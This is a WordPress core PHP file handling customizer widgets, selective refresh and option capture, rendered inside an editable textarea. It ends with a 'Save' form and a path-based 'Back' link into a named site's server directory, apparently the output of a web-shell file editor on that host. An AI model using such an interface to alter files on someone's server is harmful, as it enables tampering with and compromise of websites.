		do_action( &#039;load-widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/includes/ajax-actions.php */
		do_action( &#039;widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/widgets-form.php */
		do_action( &#039;sidebar_admin_setup&#039; );

		$widget_id = $this-&gt;get_post_value( &#039;widget-id&#039; );
		$parsed_id = $this-&gt;parse_widget_id( $widget_id );
		$id_base   = $parsed_id[&#039;id_base&#039;];

		$is_updating_widget_template = (
			isset( $_POST[ &#039;widget-&#039; . $id_base ] )
			&amp;&amp;
			is_array( $_POST[ &#039;widget-&#039; . $id_base ] )
			&amp;&amp;
			preg_match( &#039;/__i__|%i%/&#039;, key( $_POST[ &#039;widget-&#039; . $id_base ] ) )
		);
		if ( $is_updating_widget_template ) {
			wp_send_json_error( &#039;template_widget_not_updatable&#039; );
		}

		$updated_widget = $this-&gt;call_widget_update( $widget_id ); // =&gt; {instance,form}
		if ( is_wp_error( $updated_widget ) ) {
			wp_send_json_error( $updated_widget-&gt;get_error_code() );
		}

		$form     = $updated_widget[&#039;form&#039;];
		$instance = $this-&gt;sanitize_widget_js_instance( $updated_widget[&#039;instance&#039;], $id_base );

		wp_send_json_success( compact( &#039;form&#039;, &#039;instance&#039; ) );
	}

	/*
	 * Selective Refresh Methods
	 */

	/**
	 * Filters arguments for dynamic widget partials.
	 *
	 * @since 4.5.0
	 *
	 * @param array|false $partial_args Partial arguments.
	 * @param string      $partial_id   Partial ID.
	 * @return array (Maybe) modified partial arguments.
	 */
	public function customize_dynamic_partial_args( $partial_args, $partial_id ) {
		if ( ! current_theme_supports( &#039;customize-selective-refresh-widgets&#039; ) ) {
			return $partial_args;
		}

		if ( preg_match( &#039;/^widget\[(?P&lt;widget_id&gt;.+)\]$/&#039;, $partial_id, $matches ) ) {
			if ( false === $partial_args ) {
				$partial_args = array();
			}
			$partial_args = array_merge(
				$partial_args,
				array(
					&#039;type&#039;                =&gt; &#039;widget&#039;,
					&#039;render_callback&#039;     =&gt; array( $this, &#039;render_widget_partial&#039; ),
					&#039;container_inclusive&#039; =&gt; true,
					&#039;settings&#039;            =&gt; array( $this-&gt;get_setting_id( $matches[&#039;widget_id&#039;] ) ),
					&#039;capability&#039;          =&gt; &#039;edit_theme_options&#039;,
				)
			);
		}

		return $partial_args;
	}

	/**
	 * Adds hooks for selective refresh.
	 *
	 * @since 4.5.0
	 */
	public function selective_refresh_init() {
		if ( ! current_theme_supports( &#039;customize-selective-refresh-widgets&#039; ) ) {
			return;
		}
		add_filter( &#039;dynamic_sidebar_params&#039;, array( $this, &#039;filter_dynamic_sidebar_params&#039; ) );
		add_filter( &#039;wp_kses_allowed_html&#039;, array( $this, &#039;filter_wp_kses_allowed_data_attributes&#039; ) );
		add_action( &#039;dynamic_sidebar_before&#039;, array( $this, &#039;start_dynamic_sidebar&#039; ) );
		add_action( &#039;dynamic_sidebar_after&#039;, array( $this, &#039;end_dynamic_sidebar&#039; ) );
	}

	/**
	 * Inject selective refresh data attributes into widget container elements.
	 *
	 * @since 4.5.0
	 *
	 * @see WP_Customize_Nav_Menus::filter_wp_nav_menu_args()
	 *
	 * @param array $params {
	 *     Dynamic sidebar params.
	 *
	 *     @type array $args        Sidebar args.
	 *     @type array $widget_args Widget args.
	 * }
	 * @return array Params.
	 */
	public function filter_dynamic_sidebar_params( $params ) {
		$sidebar_args = array_merge(
			array(
				&#039;before_widget&#039; =&gt; &#039;&#039;,
				&#039;after_widget&#039;  =&gt; &#039;&#039;,
			),
			$params[0]
		);

		// Skip widgets not in a registered sidebar or ones which lack a proper wrapper element to attach the data-* attributes to.
		$matches  = array();
		$is_valid = (
			isset( $sidebar_args[&#039;id&#039;] )
			&amp;&amp;
			is_registered_sidebar( $sidebar_args[&#039;id&#039;] )
			&amp;&amp;
			( isset( $this-&gt;current_dynamic_sidebar_id_stack[0] ) &amp;&amp; $this-&gt;current_dynamic_sidebar_id_stack[0] === $sidebar_args[&#039;id&#039;] )
			&amp;&amp;
			preg_match( &#039;#^&lt;(?P&lt;tag_name&gt;\w+)#&#039;, $sidebar_args[&#039;before_widget&#039;], $matches )
		);
		if ( ! $is_valid ) {
			return $params;
		}
		$this-&gt;before_widget_tags_seen[ $matches[&#039;tag_name&#039;] ] = true;

		$context = array(
			&#039;sidebar_id&#039; =&gt; $sidebar_args[&#039;id&#039;],
		);
		if ( isset( $this-&gt;context_sidebar_instance_number ) ) {
			$context[&#039;sidebar_instance_number&#039;] = $this-&gt;context_sidebar_instance_number;
		} elseif ( isset( $sidebar_args[&#039;id&#039;] ) &amp;&amp; isset( $this-&gt;sidebar_instance_count[ $sidebar_args[&#039;id&#039;] ] ) ) {
			$context[&#039;sidebar_instance_number&#039;] = $this-&gt;sidebar_instance_count[ $sidebar_args[&#039;id&#039;] ];
		}

		$attributes                    = sprintf( &#039; data-customize-partial-id=&quot;%s&quot;&#039;, esc_attr( &#039;widget[&#039; . $sidebar_args[&#039;widget_id&#039;] . &#039;]&#039; ) );
		$attributes                   .= &#039; data-customize-partial-type=&quot;widget&quot;&#039;;
		$attributes                   .= sprintf( &#039; data-customize-partial-placement-context=&quot;%s&quot;&#039;, esc_attr( wp_json_encode( $context ) ) );
		$attributes                   .= sprintf( &#039; data-customize-widget-id=&quot;%s&quot;&#039;, esc_attr( $sidebar_args[&#039;widget_id&#039;] ) );
		$sidebar_args[&#039;before_widget&#039;] = preg_replace( &#039;#^(&lt;\w+)#&#039;, &#039;$1 &#039; . $attributes, $sidebar_args[&#039;before_widget&#039;] );

		$params[0] = $sidebar_args;
		return $params;
	}

	/**
	 * List of the tag names seen for before_widget strings.
	 *
	 * This is used in the {@see &#039;filter_wp_kses_allowed_html&#039;} filter to ensure that the
	 * data-* attributes can be allowed.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $before_widget_tags_seen = array();

	/**
	 * Ensures the HTML data-* attributes for selective refresh are allowed by kses.
	 *
	 * This is needed in case the `$before_widget` is run through wp_kses() when printed.
	 *
	 * @since 4.5.0
	 *
	 * @param array $allowed_html Allowed HTML.
	 * @return array (Maybe) modified allowed HTML.
	 */
	public function filter_wp_kses_allowed_data_attributes( $allowed_html ) {
		foreach ( array_keys( $this-&gt;before_widget_tags_seen ) as $tag_name ) {
			if ( ! isset( $allowed_html[ $tag_name ] ) ) {
				$allowed_html[ $tag_name ] = array();
			}
			$allowed_html[ $tag_name ] = array_merge(
				$allowed_html[ $tag_name ],
				array_fill_keys(
					array(
						&#039;data-customize-partial-id&#039;,
						&#039;data-customize-partial-type&#039;,
						&#039;data-customize-partial-placement-context&#039;,
						&#039;data-customize-partial-widget-id&#039;,
						&#039;data-customize-partial-options&#039;,
					),
					true
				)
			);
		}
		return $allowed_html;
	}

	/**
	 * Keep track of the number of times that dynamic_sidebar() was called for a given sidebar index.
	 *
	 * This helps facilitate the uncommon scenario where a single sidebar is rendered multiple times on a template.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $sidebar_instance_count = array();

	/**
	 * The current request&#039;s sidebar_instance_number context.
	 *
	 * @since 4.5.0
	 * @var int|null
	 */
	protected $context_sidebar_instance_number;

	/**
	 * Current sidebar ID being rendered.
	 *
	 * @since 4.5.0
	 * @var array
	 */
	protected $current_dynamic_sidebar_id_stack = array();

	/**
	 * Begins keeping track of the current sidebar being rendered.
	 *
	 * Insert marker before widgets are rendered in a dynamic sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
	 */
	public function start_dynamic_sidebar( $index ) {
		array_unshift( $this-&gt;current_dynamic_sidebar_id_stack, $index );
		if ( ! isset( $this-&gt;sidebar_instance_count[ $index ] ) ) {
			$this-&gt;sidebar_instance_count[ $index ] = 0;
		}
		$this-&gt;sidebar_instance_count[ $index ] += 1;
		if ( ! $this-&gt;manager-&gt;selective_refresh-&gt;is_render_partials_request() ) {
			printf( &quot;\n&lt;!--dynamic_sidebar_before:%s:%d--&gt;\n&quot;, esc_html( $index ), (int) $this-&gt;sidebar_instance_count[ $index ] );
		}
	}

	/**
	 * Finishes keeping track of the current sidebar being rendered.
	 *
	 * Inserts a marker after widgets are rendered in a dynamic sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param int|string $index Index, name, or ID of the dynamic sidebar.
	 */
	public function end_dynamic_sidebar( $index ) {
		array_shift( $this-&gt;current_dynamic_sidebar_id_stack );
		if ( ! $this-&gt;manager-&gt;selective_refresh-&gt;is_render_partials_request() ) {
			printf( &quot;\n&lt;!--dynamic_sidebar_after:%s:%d--&gt;\n&quot;, esc_html( $index ), (int) $this-&gt;sidebar_instance_count[ $index ] );
		}
	}

	/**
	 * Current sidebar being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $rendering_widget_id;

	/**
	 * Current widget being rendered.
	 *
	 * @since 4.5.0
	 * @var string|null
	 */
	protected $rendering_sidebar_id;

	/**
	 * Filters sidebars_widgets to ensure the currently-rendered widget is the only widget in the current sidebar.
	 *
	 * @since 4.5.0
	 *
	 * @param array $sidebars_widgets Sidebars widgets.
	 * @return array Filtered sidebars widgets.
	 */
	public function filter_sidebars_widgets_for_rendering_widget( $sidebars_widgets ) {
		$sidebars_widgets[ $this-&gt;rendering_sidebar_id ] = array( $this-&gt;rendering_widget_id );
		return $sidebars_widgets;
	}

	/**
	 * Renders a specific widget using the supplied sidebar arguments.
	 *
	 * @since 4.5.0
	 *
	 * @see dynamic_sidebar()
	 *
	 * @param WP_Customize_Partial $partial Partial.
	 * @param array                $context {
	 *     Sidebar args supplied as container context.
	 *
	 *     @type string $sidebar_id              ID for sidebar for widget to render into.
	 *     @type int    $sidebar_instance_number Disambiguating instance number.
	 * }
	 * @return string|false
	 */
	public function render_widget_partial( $partial, $context ) {
		$id_data   = $partial-&gt;id_data();
		$widget_id = array_shift( $id_data[&#039;keys&#039;] );

		if ( ! is_array( $context )
			|| empty( $context[&#039;sidebar_id&#039;] )
			|| ! is_registered_sidebar( $context[&#039;sidebar_id&#039;] )
		) {
			return false;
		}

		$this-&gt;rendering_sidebar_id = $context[&#039;sidebar_id&#039;];

		if ( isset( $context[&#039;sidebar_instance_number&#039;] ) ) {
			$this-&gt;context_sidebar_instance_number = (int) $context[&#039;sidebar_instance_number&#039;];
		}

		// Filter sidebars_widgets so that only the queried widget is in the sidebar.
		$this-&gt;rendering_widget_id = $widget_id;

		$filter_callback = array( $this, &#039;filter_sidebars_widgets_for_rendering_widget&#039; );
		add_filter( &#039;sidebars_widgets&#039;, $filter_callback, 1000 );

		// Render the widget.
		ob_start();
		$this-&gt;rendering_sidebar_id = $context[&#039;sidebar_id&#039;];
		dynamic_sidebar( $this-&gt;rendering_sidebar_id );
		$container = ob_get_clean();

		// Reset variables for next partial render.
		remove_filter( &#039;sidebars_widgets&#039;, $filter_callback, 1000 );

		$this-&gt;context_sidebar_instance_number = null;
		$this-&gt;rendering_sidebar_id            = null;
		$this-&gt;rendering_widget_id             = null;

		return $container;
	}

	//
	// Option Update Capturing.
	//

	/**
	 * List of captured widget option updates.
	 *
	 * @since 3.9.0
	 * @var array $_captured_options Values updated while option capture is happening.
	 */
	protected $_captured_options = array();

	/**
	 * Whether option capture is currently happening.
	 *
	 * @since 3.9.0
	 * @var bool $_is_current Whether option capture is currently happening or not.
	 */
	protected $_is_capturing_option_updates = false;

	/**
	 * Determines whether the captured option update should be ignored.
	 *
	 * @since 3.9.0
	 *
	 * @param string $option_name Option name.
	 * @return bool Whether the option capture is ignored.
	 */
	protected function is_option_capture_ignored( $option_name ) {
		return ( str_starts_with( $option_name, &#039;_transient_&#039; ) );
	}

	/**
	 * Retrieves captured widget option updates.
	 *
	 * @since 3.9.0
	 *
	 * @return array Array of captured options.
	 */
	protected function get_captured_options() {
		return $this-&gt;_captured_options;
	}

	/**
	 * Retrieves the option that was captured from being saved.
	 *
	 * @since 4.2.0
	 *
	 * @param string $option_name   Option name.
	 * @param mixed  $default_value Optional. Default value to return if the option does not exist. Default false.
	 * @return mixed Value set for the option.
	 */
	protected function get_captured_option( $option_name, $default_value = false ) {
		if ( array_key_exists( $option_name, $this-&gt;_captured_options ) ) {
			$value = $this-&gt;_captured_options[ $option_name ];
		} else {
			$value = $default_value;
		}
		return $value;
	}

	/**
	 * Retrieves the number of captured widget option updates.
	 *
	 * @since 3.9.0
	 *
	 * @return int Number of updated options.
	 */
	protected function count_captured_options() {
		return count( $this-&gt;_captured_options );
	}

	/**
	 * Begins keeping track of changes to widget options, caching new values.
	 *
	 * @since 3.9.0
	 */
	protected function start_capturing_option_updates() {
		if ( $this-&gt;_is_capturing_option_updates ) {
			return;
		}

		$this-&gt;_is_capturing_option_updates = true;

		add_filter( &#039;pre_update_option&#039;, array( $this, &#039;capture_filter_pre_update_option&#039; ), 10, 3 );
	}

	/**
	 * Pre-filters captured option values before updating.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed  $new_value   The new option value.
	 * @param string $option_name Name of the option.
	 * @param mixed  $old_value   The old option value.
	 * @return mixed Filtered option value.
	 */
	public function capture_filter_pre_update_option( $new_value, $option_name, $old_value ) {
		if ( $this-&gt;is_option_capture_ignored( $option_name ) ) {
			return $new_value;
		}

		if ( ! isset( $this-&gt;_captured_options[ $option_name ] ) ) {
			add_filter( &quot;pre_option_{$option_name}&quot;, array( $this, &#039;capture_filter_pre_get_option&#039; ) );
		}

		$this-&gt;_captured_options[ $option_name ] = $new_value;

		return $old_value;
	}

	/**
	 * Pre-filters captured option values before retrieving.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed $value Value to return instead of the option value.
	 * @return mixed Filtered option value.
	 */
	public function capture_filter_pre_get_option( $value ) {
		$option_name = preg_replace( &#039;/^pre_option_/&#039;, &#039;&#039;, current_filter() );

		if ( isset( $this-&gt;_captured_options[ $option_name ] ) ) {
			$value = $this-&gt;_captured_options[ $option_name ];

			/** This filter is documented in wp-includes/option.php */
			$value = apply_filters( &#039;option_&#039; . $option_name, $value, $option_name );
		}

		return $value;
	}

	/**
	 * Undoes any changes to the options since options capture began.
	 *
	 * @since 3.9.0
	 */
	protected function stop_capturing_option_updates() {
		if ( ! $this-&gt;_is_capturing_option_updates ) {
			return;
		}

		remove_filter( &#039;pre_update_option&#039;, array( $this, &#039;capture_filter_pre_update_option&#039; ), 10 );

		foreach ( array_keys( $this-&gt;_captured_options ) as $option_name ) {
			remove_filter( &quot;pre_option_{$option_name}&quot;, array( $this, &#039;capture_filter_pre_get_option&#039; ) );
		}

		$this-&gt;_captured_options            = array();
		$this-&gt;_is_capturing_option_updates = false;
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 */
	public function setup_widget_addition_previews() {
		_deprecated_function( __METHOD__, &#039;4.2.0&#039;, &#039;customize_dynamic_setting_args&#039; );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 */
	public function prepreview_added_sidebars_widgets() {
		_deprecated_function( __METHOD__, &#039;4.2.0&#039;, &#039;customize_dynamic_setting_args&#039; );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 */
	public function prepreview_added_widget_instance() {
		_deprecated_function( __METHOD__, &#039;4.2.0&#039;, &#039;customize_dynamic_setting_args&#039; );
	}

	/**
	 * {@internal Missing Summary}
	 *
	 * See the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 *
	 * @since 3.9.0
	 * @deprecated 4.2.0 Deprecated in favor of the {@see &#039;customize_dynamic_setting_args&#039;} filter.
	 */
	public function remove_prepreview_filters() {
		_deprecated_function( __METHOD__, &#039;4.2.0&#039;, &#039;customize_dynamic_setting_args&#039; );
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-includes'>🔙 Back</a></p>